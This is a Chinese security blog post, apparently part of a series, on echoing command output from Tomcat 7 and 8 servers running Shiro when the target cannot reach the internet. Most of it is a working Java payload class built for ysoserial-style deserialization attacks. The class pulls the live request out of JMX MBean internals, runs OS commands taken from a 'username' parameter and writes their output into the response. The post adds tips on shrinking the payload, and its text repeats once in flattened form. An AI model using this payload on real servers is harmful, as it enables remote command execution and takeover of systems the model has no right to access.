tomcat不出网回显连续剧第六集
字数 1472 2025-08-20 18:17:47

Tomcat不出网回显技术研究 - 第六集:解决Tomcat7+Shiro环境下的回显问题

前情回顾

本文是"Tomcat不出网回显"系列文章的第六集,总结了前人关于Tomcat回显和无文件Webshell的研究成果:

  1. 观星的文章:通杀Spring框架,解决实战中大部分情况
  2. Tomcat中一种半通用回显方法:通过反射修改ApplicationFilterChain参数缓存req和resp,但Shiro环境下无法回显
  3. 基于tomcat的内存Webshell无文件攻击技术:获取req后进一步获取context并动态注册filter,同样无法在Shiro环境下回显
  4. 基于全局储存的新思路:通过currentThread.getContextClassLoader()获取StandardContext进而获取response,解决了Shiro回显问题,但不支持Tomcat7
  5. 基于Tomcat无文件Webshell研究:总结上述方法,但仍无法解决Tomcat7+Shiro的组合问题

新解决方案:通过MBean获取RequestProcessor

核心思路

研究发现RequestProcessor(RP)对象会被注册到全局存储中,通过JMX MBean机制可以获取到这些对象。具体步骤:

  1. 通过JMX MBeanServer获取Tomcat的MBean
  2. 找到包含Request对象的RequestProcessor
  3. 从RequestProcessor中提取Request和Response对象

技术细节

Tomcat版本差异

  • Tomcat7:MBean名称为name="http-bio-8888",type=GlobalRequestProcessor
  • Tomcat8:MBean名称为name="http-nio-8888",type=GlobalRequestProcessor

其中8888是Tomcat服务端口,bio/nio代表不同的I/O模型。

实现流程

  1. 获取MBeanServer实例
  2. 通过反射获取MBeanServer内部的repository
  3. 从repository中获取Catalina域的MBean
  4. 找到GlobalRequestProcessor类型的MBean
  5. 获取其中的RequestGroupInfo对象
  6. 遍历processors列表获取RequestInfo对象
  7. 从RequestInfo中提取Request对象

代码实现

Tomcat8实现

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;

public class tomcat82 extends AbstractTranslet {
    public tomcat82() {
        try{
            // 获取MBeanServer
            MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
            
            // 通过反射获取MBeanServer内部的repository
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            obj = field.get(obj);

            // 获取Catalina域的MBean
            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
            field.setAccessible(true);
            HashMap obj2 = (HashMap)field.get(obj);
            obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-nio-8888\",type=GlobalRequestProcessor");

            // 获取RequestGroupInfo对象
            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
            field.setAccessible(true);
            obj = field.get(obj);

            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
            field.setAccessible(true);
            obj = field.get(obj);

            // 获取processors列表
            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            field.setAccessible(true);
            ArrayList obj3 = (ArrayList)field.get(obj);

            // 获取Request对象
            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            field.setAccessible(true);

            // 执行命令并回显
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }

            for (int i = 0; i < obj3.size(); i++) {
                Request obj4 = (Request) field.get(obj3.get(i));
                String username = obj4.getParameters().getParameter("username");
                if(username != null){
                    String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = "";
                    while (s.hasNext()){
                        output += s.next();
                    }

                    byte[] buf = output.getBytes();
                    ByteChunk bc = new ByteChunk();
                    bc.setBytes(buf, 0, buf.length);
                    obj4.getResponse().doWrite(bc);
                    break;
                }
            }

        } catch (Exception e){
        }
    }
    // ... 其他必要方法
}

Tomcat7实现

Tomcat7的实现与Tomcat8类似,主要区别在于MBean名称中的"bio"而非"nio":

obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-bio-8888\",type=GlobalRequestProcessor");

注意事项

  1. 多请求环境处理:在生产环境中可能有多个RequestProcessor,需要遍历所有processor找到当前请求对应的那个
  2. Payload体积优化:可以使用长亭师傅提供的修改header头的方法或参考"缩小ysoserial payload体积的几个方法"
  3. 实际测试:已在Tomcat7+shiro-simple-web环境下成功复现

总结

本方案通过JMX MBean机制获取Tomcat内部的RequestProcessor对象,解决了Tomcat7+Shiro环境下的回显问题。相比之前的方法:

  • 优点:支持Tomcat7+Shiro组合场景
  • 缺点:需要根据Tomcat版本调整MBean名称(bio/nio)

扩展思考

Tomcat中还有许多其他MBean可能包含有用的信息,值得进一步探索和研究。

Tomcat不出网回显技术研究 - 第六集:解决Tomcat7+Shiro环境下的回显问题 前情回顾 本文是"Tomcat不出网回显"系列文章的第六集,总结了前人关于Tomcat回显和无文件Webshell的研究成果: 观星 的文章:通杀Spring框架,解决实战中大部分情况 Tomcat中一种半通用回显方法 :通过反射修改ApplicationFilterChain参数缓存req和resp,但Shiro环境下无法回显 基于tomcat的内存Webshell无文件攻击技术 :获取req后进一步获取context并动态注册filter,同样无法在Shiro环境下回显 基于全局储存的新思路 :通过 currentThread.getContextClassLoader() 获取StandardContext进而获取response,解决了Shiro回显问题,但不支持Tomcat7 基于Tomcat无文件Webshell研究 :总结上述方法,但仍无法解决Tomcat7+Shiro的组合问题 新解决方案:通过MBean获取RequestProcessor 核心思路 研究发现RequestProcessor(RP)对象会被注册到全局存储中,通过JMX MBean机制可以获取到这些对象。具体步骤: 通过JMX MBeanServer获取Tomcat的MBean 找到包含Request对象的RequestProcessor 从RequestProcessor中提取Request和Response对象 技术细节 Tomcat版本差异 Tomcat7 :MBean名称为 name="http-bio-8888",type=GlobalRequestProcessor Tomcat8 :MBean名称为 name="http-nio-8888",type=GlobalRequestProcessor 其中8888是Tomcat服务端口,bio/nio代表不同的I/O模型。 实现流程 获取MBeanServer实例 通过反射获取MBeanServer内部的repository 从repository中获取Catalina域的MBean 找到GlobalRequestProcessor类型的MBean 获取其中的RequestGroupInfo对象 遍历processors列表获取RequestInfo对象 从RequestInfo中提取Request对象 代码实现 Tomcat8实现 Tomcat7实现 Tomcat7的实现与Tomcat8类似,主要区别在于MBean名称中的"bio"而非"nio": 注意事项 多请求环境处理 :在生产环境中可能有多个RequestProcessor,需要遍历所有processor找到当前请求对应的那个 Payload体积优化 :可以使用长亭师傅提供的修改header头的方法或参考"缩小ysoserial payload体积的几个方法" 实际测试 :已在Tomcat7+shiro-simple-web环境下成功复现 总结 本方案通过JMX MBean机制获取Tomcat内部的RequestProcessor对象,解决了Tomcat7+Shiro环境下的回显问题。相比之前的方法: 优点:支持Tomcat7+Shiro组合场景 缺点:需要根据Tomcat版本调整MBean名称(bio/nio) 扩展思考 Tomcat中还有许多其他MBean可能包含有用的信息,值得进一步探索和研究。